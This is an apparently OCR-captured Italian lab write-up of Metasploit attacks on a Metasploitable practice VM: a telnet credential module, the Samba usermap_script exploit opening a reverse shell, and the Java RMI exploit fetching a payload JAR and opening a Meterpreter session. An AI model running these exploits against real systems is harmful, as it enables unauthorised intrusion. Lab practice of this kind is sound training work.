## EXPLOIT CON VARIE VULNERABILITA'

Hackeriamo telnet utilizzando un modulo che ci restituisce la password e con il comando (telnet + ip ) entriamo nel terminale di meta

```
) > set rhosts 192.168.1.40
msf6 auxiliary(
rhosts ⇒ 192.168.1.40
                      talnet/telnet version) > exploit
msf6 auxiliary(s
 [+] 192.168.1.40:23
                        - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.1.40:23
[*] Auxiliary module execution completed
                                        on) > telnet 192.168.1.40
msf6 auxiliary(
[*] exec: telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Mar 7 08:23:33 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
         Link encap:Ethernet HWaddr 08:00:27:76:8e:fb
         inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fe76:8efb/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:101 errors:0 dropped:0 overruns:0 frame:0
         TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
```

## EXPLOIT CON VARIE VULNERABILITA'

exploit di smb con il modulo usermap\_script

```
] 192.168.1.40 - Command shell session 2 closed. Reason: User exit
msf6 exploit(
                                                    t) > set lport 445
lport ⇒ 445
msf6 exploit(
                         /samba/usermap_script) > exploit
Started reverse TCP double handler on 192.168.1.25:445
* Accepted the first client connection...
* Accepted the second client connection...
 Command: echo VvAQYt5MpPsCwd0k;
*] Writing to socket A
 *] Writing to socket B
 *1 Reading from sockets...
* Reading from socket B
* B: "VvAQYt5MpPsCwd0k\r\n"
* Matching...
 *] A is input..
 *] Command shell session 3 opened (192.168.1.25:445 → 192.168.1.40:46167) at 2023-03-07 08:50:11 -0500
ifconfig
eth0
             Link encap:Ethernet HWaddr 08:00:27:76:8e:fb
             inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe76:8efb/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:391 errors:0 dropped:0 overruns:0 frame:0
            TX packets:309 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:31232 (30.5 KB) TX bytes:65821 (64.2 KB) Base address:0×d020 Memory:f0200000-f0220000
```

## EXPLOIT CON VARIE VULNERABILITA'

exploit java rmi code execution

```
msf6 exploit(m
                                _server) > set rhosts 192.168.1.40
rhosts ⇒ 192.168.1.40
                      sc/iava rmi server) > exploit
msf6 exploit(multi/mis
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:1099 - Using URL: http://192.168.1.25:8080/Nkk0KLIuhKIbx
[*] 192.168.1.40:1099 - Server started.
[*] 192.168.1.40:1099 - Sending RMI Header...
[*] 192.168.1.40:1099 - Sending RMI Call ...
[*] 192.168.1.40:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.1.40
[*] Meterpreter session 4 opened (192.168.1.25:4444 → 192.168.1.40:33160) a
meterpreter > ifconifg
    Unknown command: ifconifg
meterpreter > ifconfig
Interface 1
       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
            : eth0 - eth0
Name
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.40
IPv4 Netmask : 255.255.255.0
```